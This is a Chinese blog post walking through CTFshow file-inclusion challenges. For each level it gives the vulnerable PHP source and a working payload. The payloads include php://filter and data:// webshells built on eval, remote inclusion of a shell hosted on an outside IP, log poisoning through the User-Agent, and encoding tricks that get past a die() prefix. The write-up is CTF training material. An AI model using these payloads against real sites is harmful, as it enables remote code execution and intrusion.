CTFshow 文件包含 78-88&116-117

发布于 2022-04-13  44 次阅读


web78

if(isset($_GET['file'])){
    $file = $_GET['file'];
    include($file);
}else{
    highlight_file(__FILE__);
}

直接包含flag.php发现并没有回显:

于是尝试用php://filter进行base64编码包含。

?file=php://filter/convert.base64-encode/resource=flag.php


然后base64解码得到

或者直接用data://进行任意命令执行

web79


if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

过滤了flag
直接用data协议进行任意命令执行

?file=data://text/plain,<?=eval($_GET[1])?>&1=system('ls');


web80

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

这里ban了php和data,那么有两种思路, 可以用http://协议远程包含vps上的马马,也可以include包含日志,通过UA注入马马,实现任意命令执行

方法一、http://远程包含

vps上写一个木马文件

<?=eval($_GET[1])?>

然后利用

?file=http://116.62.164.167/1.txt&1=phpinfo();

?file=http://116.62.164.167/1.txt&1=system('tac fl0g.php');

方法二、include包含日志

利用bp发包:

?file=/var/log/nginx/access.log

修改ua一句话木马

web81

 <?php /*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 15:51:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/ if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

同上,利用日志包含。

web82-86:条件竞争

web87*

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $content = $_POST['content'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
    
}else{
    highlight_file(__FILE__);
}

这个地方的考点是绕过file_put_contents的死亡循环

  • 参考大佬文章:https://www.leavesongs.com/PENETRATION/php-filter-magic.html

    具体思路如下:

    利用php://filter/流写入来拼接:

    假设,我们能构造:

 file_put_contents(php://filter/write=convert.base64-decode/resource=a.php,"<?php die('大佬别秀了');?>"XXXXXX);

仔细分析,前面利用php://filter/流将"<?php die('大佬别秀了');?>"XXXXXX经过base64解码之后写入了a.php
由于经过了base64解码,那么,根据base64的原理,只会解析65个字符,"<?php die('大佬别秀了');?>"这句话中只会解析phpdie,那么我们在后便添加两个字符,再将一句话木马经过base64编码之后加着一起上传,这样不就成功绕过了死亡die!

下面构造payload,
file会经过一次urldecode,再加上url自动的解码,所以我们需要编码两次
content就是将呀句话木马<?php eval($_GET['1']);?>经过base64加密,再在前面加上两个字母和phpdie满足两组base64加密即可


file=%2570%2568%2570%253a%252f%252f%2566%2569%256c%2574%2565%2572%252f%2577%2572%2569%2574%2565%253d%2563%256f%256e%2576%2565%2572%2574%252e%2562%2561%2573%2565%2536%2534%252d%2564%2565%2563%256f%2564%2565%252f%2572%2565%2573%256f%2575%2572%2563%2565%253d%2561%252e%2570%2568%2570


content=XXPD9waHAgZXZhbCgkX0dFVFsnMSddKTs/Pg==


上传成功

访问a.php即可

web88


if(isset($_GET['file'])){
    $file = $_GET['file'];
    if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
        die("error");
    }
    include($file);
}else{
    highlight_file(__FILE__);
}

过滤中,并没有过滤:
可以考虑用data://伪协议
payload

?file=data://text/plain;base64,PD9waHAgICAgZXZhbCgkX0dFVFsnMSddKTs/PjEx

注意一个点,这里过滤了=和+,所以直接进行base64编码,
就会出现:
PD9waHAgcGhwaW5mbygpOz8=
那么我们需要在最后末尾添加没有用的字符进行编码,即<?php eval($_GET['1']);?>11编码得到PD9waHAgICAgZXZhbCgkX0dFVFsnMSddKTs/PjEx

web116

上来是一个视频,下载,再kali中使用formost命令拆分文件,发现png文件就是源码
再用bp访问?file=flag.php即可

web117

function filter($x){
    if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
        die('too young too simple sometimes naive!');
    }}
    $file=$_GET['file'];
    $contents=$_POST['contents'];
    filter($file);
    file_put_contents($file, "<?php die();?>".$contents);

死亡die过滤了base64和rot13,
但是可以用其他的编码方式来绕过PHP支持的编码方式:https://www.php.net/manual/zh/mbstring.supported-encodings.php
UCS-2LE UCS-2BE编码
payload:

file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
contents=?<hp pvela$(P_SO[T]1;)>?


“缘分让我们相遇乱世以外,命运却让我们危难中相爱”